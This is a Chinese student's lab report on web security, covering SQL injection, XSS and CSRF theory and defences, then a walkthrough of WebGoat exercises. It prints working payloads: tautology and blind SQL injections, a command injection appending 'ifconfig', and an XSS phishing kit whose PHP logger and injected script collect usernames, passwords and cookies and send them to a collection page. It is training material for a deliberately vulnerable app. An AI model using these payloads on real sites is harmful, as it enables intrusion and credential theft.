20145226夏艺华 网络对抗技术 EXP9 web安全基础实践
!!!免考项目:wannacry病毒分析+防护
一.实验后回答问题
SQL注入攻击原理,如何防御
攻击原理
“SQL注入”是一种利用未过滤/未审核用户输入的攻击方法(“缓存溢出”和这个不同),意思就是让应用运行本不应该运行的SQL代码。如果应用毫无防备地创建了SQL字符串并且运行了它们,就会造成一些出人意料的结果。
注入方法一般有两种:
方法一:采用直接猜表名和列名的方法或者是利用报错信息来确定表明和列名
And (Select count(*) from 要猜的表名)<>0
And (Select count(要猜的列名) from 已知的表名)<>0
注意:<>在sql中是不等于,结果若返回正确则猜的表名和列名是正确的
方法二:后台身份验证绕过漏洞
此方法利用的就是AND和OR的运算规则,从而造成后台脚本逻辑性错误
若后台的查询语句为sql='select admin from t_admin where user='request("user")' and passwd='request("user")';
但输入用户名密码若为 'or 'a'='a'
,那么查询语句就变成了select admin from t_admin where user=''or 'a'='a' and passwd=''or 'a'='a';
这里就变成了四个查询语句即: 假 or 真 and 假 or 真, 先算and再算or,就变成: 假or 假 or真,结果为真,就能直接接入后台了。
!!不过要想用这种方法进行攻击,必须具备一个条件:是这种用户名和密码在一个查询语句中。 或者可以 'or 1=1 --
将后面的语句注释掉 (--为sql注释符)
产生原因
程序开发过程中不注意规范书写sql语句和对特殊字符进行过滤,导致客户端可以通过全局变量POST和GET提交一些sql语句正常执行。
SQL注入防御方法:
1、过滤掉一些常见的数据库操作关键字:select,insert,update,delete,and,*等
或者通过系统函数:addslashes(需要被过滤的内容)来进行过滤。
2、在PHP配置文件中
Register_globals=off;设置为关闭状态 //作用将注册全局变量关闭。
比如:接收POST表单的值使用$_POST['user'],如果将register_globals=on;直接使用$user可以接收表单的值。
3、SQL语句书写的时候尽量不要省略小引号(tab键上面那个)和单引号
4、提高数据库命名技巧,对于一些重要的字段根据程序的特点命名,取不易被猜到的
5、对于常用的方法加以封装,避免直接暴漏SQL语句
6、开启PHP安全模式
Safe_mode=on;
7、打开magic_quotes_gpc来防止SQL注入
Magic_quotes_gpc=off;
默认是关闭的,它打开后将自动把用户提交的sql语句的查询进行转换,把'转为',这对防止sql注入有重大作用。
因此开启:magic_quotes_gpc=on;
8、控制错误信息
关闭错误提示信息,将错误信息写到系统日志。
9、使用mysqli或pdo预处理。
XSS攻击的原理,如何防御
XSS攻击原理
跨站脚本(Cross site script,简称xss)是一种“HTML注入”,由于攻击的脚本多数时候是跨域的,所以称之为“跨域脚本”。
我们常常听到“注入”(Injection),如SQL注入,那么到底“注入”是什么?注入本质上就是把输入的数据变成可执行的程序语句。SQL注入是如此,XSS也如此,只不过XSS一般注入的是恶意的脚本代码,这些脚本代码可以用来获取合法用户的数据,如Cookie信息。
XSS从攻击原理上,分为三类:
1.反射型XSS
将用户输入“反射”回浏览器,即将用户的输入变成HTML传输回客户端。如:
Response.Write(“<script>alert(/xss/);</script>”)
就是一个典型的反射型XSS。
2.存储性XSS
存储性XSS本质上也是一种反射型XSS,但是它把攻击脚本放置在服务器端,一旦被注入,可被多人多次利用。如,发表博文,就可以引入存储性的XSS。
3.DOM BASED XSS
如果用户的输入被用于修改原有HTML的DOM内容,就会引入这一类攻击。
最典型的是输入的内容用于作为某个节点的innerHTML,如果不对输入作验证,则会被注入攻击代码。
如下的一段脚本注入后,就会获取用户的Cookie
<script language=”JavaScript”>
var cockieInfo =window.cockie;
//send cockieInfo to luminji
</javascript>
防御措施
- 在服务器段限制输入格式,输入类型,输入长度以及输入字符
要注意避免使用一些有潜在危险的html标签,这些标签很容易嵌入一些恶意网页代码。如<img> <iframe><script><frameset><embed><object><style>
等。
注意,不要仅仅在客户端使用js代码加以验证。因为客户端的js脚本可以被绕过。
- 格式化输出。将输入的内容通过HttpUtility.HtmlEncode处理,这样就不能直接看出输出的内容。
3.对于asp.NET站点,可以确保:
<configuration>
<system.web>
<pages validateRequest="true" />
</system.web>
</configuration>
注意,默认情况下为true。
4.IE本身也有机制阻止跨站脚本
存在跨站脚本威胁,如果使用的IE8,则这个请求会被拦截,提示“Internet Explorer 已对此页面进行了修改,以帮助阻止跨站脚本。单击此处,获取详细信息...”。
这个错误是由于 IE8 的跨站脚本(Cross-site scripting, XSS)防护阻止了跨站发送的请求。
以下是如何配置它:点击 IE8 的“工具”-“Internet 选项”,进入“安全”选项卡,打开“Internet”下方的“自定义级别”,在“安全设置”对话框中找到“启用 XSS 筛选器”,改为“禁用”即可。 注意,“启用”是默认配置。
当然,浏览器本身的这种机制是不可靠的。
XSRF攻击原理,如何防御
XSRF是什么?
CSRF(Cross-site request forgery)跨站请求伪造,也被称为“One Click Attack”或者Session Riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。尽管听起来像跨站脚本(XSS),但它与XSS非常不同,XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性。
XSRF可以做什么?
攻击通过在授权用户访问的页面中包含链接或者脚本的方式工作。如:一个网站用户Bob可能正在浏览聊天论坛,而同时另一个用户Alice也在此论坛中,并且后者刚刚发布了一个具有Bob银行链接的图片消息。设想一下,Alice编写了一个在Bob的银行站点上进行取款的form提交的链接,并将此链接作为图片src。如果Bob的银行在cookie中保存他的授权信息,并且此cookie没有过期,那么当Bob的浏览器尝试装载图片时将提交这个取款form和他的cookie,这样在没经Bob同意的情况下便授权了这次事务。
XSRF的原理
a).攻击者找到一个不懂得什么是用户注册的人,利用这种方式发起CSRF攻击。
b).攻击者创建一个HTML的页面其中将会自动的发送一些请求到脆弱的WEB站点。
c).受害者登录到一个WEB站点并提交了一个开放的Sessions.
d).攻击者提供一个精心构造的页面给受害者。
e).受害者访问这个页面。
f).所发送的请求完成了一个恶意的行为。
XSRF的防御
对于web站点,将持久化的授权方法(例如cookie或者HTTP授权)切换为瞬时的授权方法(在每个form中提供隐藏field),这将帮助网站防止这些攻击。一种类似的方式是在form中包含秘密信息、用户指定的代号作为cookie之外的验证。
另一个可选的方法是“双提交”cookie。此方法只工作于Ajax请求,但它能够作为无需改变大量form的全局修正方法。如果某个授权的cookie在form post之前正被JavaScript代码读取,那么限制跨域规则将被应用。如果服务器需要在Post请求体或者URL中包含授权cookie的请求,那么这个请求必须来自于受信任的域,因为其它域是不能从信任域读取cookie的。
与通常的信任想法相反,使用Post代替Get方法并不能提供卓有成效的保护。因为JavaScript能使用伪造的POST请求。尽管如此,那些导致对安全产生“副作用”的请求应该总使用Post方式发送。Post方式不会在web服务器和代理服务器日志中留下数据尾巴,然而Get方式却会留下数据尾巴。
尽管CSRF是web应用的基本问题,而不是用户的问题,但用户能够在缺乏安全设计的网站上保护他们的帐户:通过在浏览其它站点前登出站点或者在浏览器会话结束后清理浏览器的cookie。
二、实验心得体会
最后一次实验了,想想还有点小激动~题目都不复杂,但是需要通过做题的过程来深入理解。
做完实验感觉自己天天上网都在裸奔[bye]
三、实验过程
1、webgoat开启
1)开启webgoat,打开WebGoat:java -jar webgoat-container-7.0.1-war-exec.jar
页面会停在这里,将此界面最小化(别关!关了就gg)
2)在浏览器输入localhost:8080/WebGoat进入webgoat
2、SQL练习
SQL字符串注入(String SQL Injection)
String SQL Injection练习,点击后看到如下题目
题目大意:这个表单允许使用者查询他们的信用卡号,使用SQL注入让所有的信用卡号都看得见。
首先试试Jack
并没有结果
啊,是姓啊,那么试试Smith
有了,那么输入去了哪里呢?如果构造一个永真式“1”,总能执行。所以构造语句'or 1='1,成功得到了全部的信用卡号。
是的,是全部信用卡号。
数字型SQL注入(Numeric SQL Injection)
找到Numeric SQL Injection、
题目大意:表单允许使用者看到天气数据,利用SQL注入可看见所有数据。
都是选项根本没有可以输入的地方,没办法在前端注入,就从捕获包中修改吧,SO,启动BurpSuite
设置代理“Proxy”的“Options”选项
默认是8080端口被占用时需要添加一个新的端口5226,点击add
添加后勾选,一开始,怎么都勾选不上,然后我就重复上述操作数次。。。依然没有任何办法,这是绝望的我,发现,我的电脑,网断了[smile]这个故事告诉我们,做实验,还是开热点好。
然后设置浏览器的代理
打开浏览器右侧的“更多”选项卡,找到preference-advanced-settings
点第四个,相当于将burpsuite当成中间服务器,每个数据包都流过它,绑定5226端口。
设置好之后回到题目,任意选择一项,点击GO,然后回到burpsuite。发现多了捕获的包:
右键send to repeater
,修改station值从为101
为 101 or 1=1
,点击GO,可以看到右边response包中的SQL语句为SELECT * FROM weather_data WHERE station = 101 or 1=1
,可以的!
回到Proxy中点击Intercept is on
对剩下的包不作处理,回到火狐发现已经成功
命令注入(Command Injection)
题目大意:命令行注入攻击是个严重的威胁。。尝试给操作系统注入命令行。。
使用burpsuite注入。
我们对第一个包send to Repeater
分析一下:
先GO一下看看数据都提交到什么地方
我们发现可改部分是使用了命令行cat语句,注入命令行AccessControlMatrix.help"&&ifconfig"
。
再次点击GO发现执行了ifconfig
语句
回到webgoat,显示成功!
盲数字注入(Blind Numeric SQL Injection)
题目大意:目标是得到一个存放在pins表中值pin的内容,行号cc_number=1111222233334444
,是一个int型的数据!
我们首先尝试默认的101,发现显示Account number is valid
,说明这个是真,可以构造AND XXXX 语句来进行注入,用于判断后面的语句是否为真。
先确定pin值的范围,构造
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 100 );
合法,说明pin值大于100
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 );
不合法说明小于10000
确定了上下界之后每次使用二分法就可以得到结果了!答案为2364
盲字符串注入(Blind String SQL Injection)
原理和上一题基本一样,只是从猜数字变成了猜ascii对应的字符,难度upup。
Jill!
(答案里并没有!。。)
LAB:SQL Injection
Stage 1:String SQL Injection
题目大意:使用字符串SQL注入在没有正确密码的情况下登录账号boss
老套路之即可。
Stage 3:Numeric SQL Injection
题目大意:该课程的目的是通过注入语句,浏览到原本无法浏览的信息。通过一个普通员工的账户larry,浏览其BOSS的账户信息。
首先先字符串注入登录Larry的账号,老套路,登录后发现只能看见Larry一个人的工资信息
这时我们要看boss的信息就要注入了!使用burpsuite对我们提交的信息进行修改
这里是按员工编号进行查询首先我们把截获的包进行初步的修改为112 or 1= 1,这次成功了输出信息,但是还是Larry的信息,我猜这里应该是将最首位的信息输出。那么这次我们可以对信息进行排序让他排在首位。用社会工程学解释老板应该是工资最高的,所以为了把老板排到第一个SQL注入排序如下:
112 or 1=1 order by salary desc
我们成功的看到了boss的信息!
3、XSS练习
跨站脚本钓鱼攻击(Phishing with XSS)
题目大意:关于一个页面中存在XSS漏洞时,他如何支持钓鱼攻击。要求我们利用xss和html注入达到这些目标。
根据提示制造一个钓鱼网站imgsrc.php,将传来的三个参数(username、password、cookie)保存到lyd.log中
imgsrc.php
<!DOCTYPE html>
<html>
<body>
<?php
echo " PHP 脚本!";
$uname=($_GET["username"]);
$pwd=($_GET["password"]);
$ck=($_GET["ck"]);
$myfile = fopen("lyd.log", "a") or die("Unable to open file!");
fprintf($myfile,"username:");
fwrite($myfile, $uname);
fprintf($myfile,"\n");
fprintf($myfile,"password:");
fwrite($myfile, $pwd);
fprintf($myfile,"\n");
fprintf($myfile,"cookie:");
fwrite($myfile, $ck);
fprintf($myfile,"\n");
fclose($myfile);
/*
system("echo `date`:".$uname.".".$pwd.".".$ck." >> /var/www/html/lyd.log");
*/
?>
</body>
</html>
然后编写前端代码,在输入框中注入这段前端代码会将提示用户输入账号口令从而完成钓鱼攻击!
<script>
function hack(){
str="username=" + document.phish.user.value + "&password=" + document.phish.pass.value + "" + "&ck=" + document.cookie;
str2="http://127.0.0.1:5320/imgsrc.php?" + str;
XSSImage=new Image;
XSSImage.src=str2;
alert(str2);
}
</script>
</form><form name="phish"><br><br><HR><H3>This feature requires account login:</H3 ><br><br>
Enter Username:<br><input type="text" name="user"><br>
Enter Password:<br><input type="password" name = "pass"><br>
<input type="submit" name="submit" value="Login" onclick="hack()"><br>
</form><br><br><HR>
伪装的表单骗用户输入数据!登陆后看看lyd.log里面的内容!
完成了钓鱼!
反射型XSS(Reflected XSS Attacks)
使用burpsuite发现,UpdateCart Purchase均以post提交数据,但在Enter your credit card number:以及Enter your three digit access code:处的值均被post原样返回,所以可以在此处构造js语言。
得到cookies!
4、XSCF练习
CSRF Prompt By-pass
题目大意:和上一个教材相似,发个邮件给newsgrooup,包含两个恶意请求:一个是转钱的金额,另一个是确认转账。
(这个图貌似 打水印的时候 有毒)
OK,完成!